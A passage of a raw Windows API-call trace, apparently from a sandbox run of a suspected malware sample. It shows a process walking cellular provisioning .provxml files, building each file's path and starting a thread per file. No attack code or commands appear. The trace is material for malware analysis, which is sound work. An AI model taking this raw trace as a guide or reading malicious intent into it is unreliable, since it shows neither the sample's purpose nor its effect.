Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.950] wcscat (in: _Dest=0x2fa26f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.950] wcscat (in: _Dest=0x2fa26f8, _Source="480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\480__Connections_Cellular_Vodafone UK (United Kingdom)_i2$(__MVID)@WAP.provxml" [0180.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa26f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0180.950] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9115537f, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9115537f, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9115537f, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", cAlternateFileName="481__C~1.PRO")) returned 1 [0180.950] wcscmp (_String1="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.951] wcscmp (_String1="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fedc08 [0180.951] wcscpy (in: _Dest=0x2fedc08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.951] wcscat (in: _Dest=0x2fedc08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.951] wcscat (in: _Dest=0x2fedc08, _Source="481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\481__Connections_Cellular_Vodafone UK (United Kingdom)_i3$(__MVID)@WAP.provxml" [0180.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fedc08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0180.951] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", cAlternateFileName="482__C~1.PRO")) returned 1 [0180.951] wcscmp (_String1="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.951] wcscmp (_String1="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2feded8 [0180.951] wcscpy (in: _Dest=0x2feded8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.952] wcscat (in: _Dest=0x2feded8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.952] wcscat (in: _Dest=0x2feded8, _Source="482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\482__Connections_Cellular_Vodafone UK (United Kingdom)_i4$(__MVID)@WAP.provxml" [0180.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2feded8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0180.952] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", cAlternateFileName="483__C~1.PRO")) returned 1 [0180.952] wcscmp (_String1="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.952] wcscmp (_String1="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.952] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x15a) returned 0x2fecc90 [0180.952] wcscpy (in: _Dest=0x2fecc90, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.952] wcscat (in: _Dest=0x2fecc90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.952] wcscat (in: _Dest=0x2fecc90, _Source="483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\483__Connections_Cellular_Vodafone UK (United Kingdom)_i5$(__MVID)@WAP.provxml" [0180.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fecc90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0180.953] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="484__C~1.PRO")) returned 1 [0180.953] wcscmp (_String1="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.953] wcscmp (_String1="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.953] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x30550b8 [0180.953] wcscpy (in: _Dest=0x30550b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.953] wcscat (in: _Dest=0x30550b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.953] wcscat (in: _Dest=0x30550b8, _Source="484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\484__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30550b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0180.954] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="485__C~1.PRO")) returned 1 [0180.954] wcscmp (_String1="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.954] wcscmp (_String1="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.954] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3059e10 [0180.954] wcscpy (in: _Dest=0x3059e10, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.954] wcscat (in: _Dest=0x3059e10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.954] wcscat (in: _Dest=0x3059e10, _Source="485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\485__Connections_Cellular_AT&T (United States)_i0$(__MVID)@WAP.provxml" [0180.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3059e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0180.955] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", cAlternateFileName="486__C~1.PRO")) returned 1 [0180.966] wcscmp (_String1="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.966] wcscmp (_String1="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.966] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3059a08 [0180.966] wcscpy (in: _Dest=0x3059a08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.966] wcscat (in: _Dest=0x3059a08, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.966] wcscat (in: _Dest=0x3059a08, _Source="486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\486__Connections_Cellular_AT&T (United States)_i1$(__MVID)@WAP.provxml" [0180.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3059a08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0180.967] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", cAlternateFileName="487__C~1.PRO")) returned 1 [0180.967] wcscmp (_String1="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.967] wcscmp (_String1="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.967] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3059b60 [0180.967] wcscpy (in: _Dest=0x3059b60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.967] wcscat (in: _Dest=0x3059b60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.967] wcscat (in: _Dest=0x3059b60, _Source="487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\487__Connections_Cellular_AT&T (United States)_i2$(__MVID)@WAP.provxml" [0180.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3059b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490 [0180.968] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9117b5eb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9117b5eb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9117b5eb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="488__C~1.PRO")) returned 1 [0180.968] wcscmp (_String1="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0180.968] wcscmp (_String1="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0180.968] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x3059cb8 [0180.968] wcscpy (in: _Dest=0x3059cb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.968] wcscat (in: _Dest=0x3059cb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.968] wcscat (in: _Dest=0x3059cb8, _Source="488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\488__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0180.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3059cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0180.969] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="489__C~1.PRO")) returned 1 [0180.969] wcscmp (_String1="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0180.969] wcscmp (_String1="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0180.969] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x3054350 [0180.969] wcscpy (in: _Dest=0x3054350, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.969] wcscat (in: _Dest=0x3054350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.969] wcscat (in: _Dest=0x3054350, _Source="489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\489__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0180.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0180.970] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9026e179, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9026e179, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9026e179, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", cAlternateFileName="48__CO~1.PRO")) returned 1 [0180.970] wcscmp (_String1="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.970] wcscmp (_String1="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.970] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x3058c98 [0180.970] wcscpy (in: _Dest=0x3058c98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.970] wcscat (in: _Dest=0x3058c98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.970] wcscat (in: _Dest=0x3058c98, _Source="48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\48__Connections_Cellular_Proximus (Belgium)_i0$(__MVID)@WAP.provxml" [0180.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3058c98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b4 [0180.971] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911a1852, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x911a1852, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x911a1852, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29f, dwReserved0=0x0, dwReserved1=0x0, cFileName="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="490__C~1.PRO")) returned 1 [0180.971] wcscmp (_String1="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.971] wcscmp (_String1="490__Connections_Cellular_Cincinnati Bell Wireless (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.971] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x172) returned 0x2f8f458 [0180.971] wcscpy (in: _Dest=0x2f8f458, 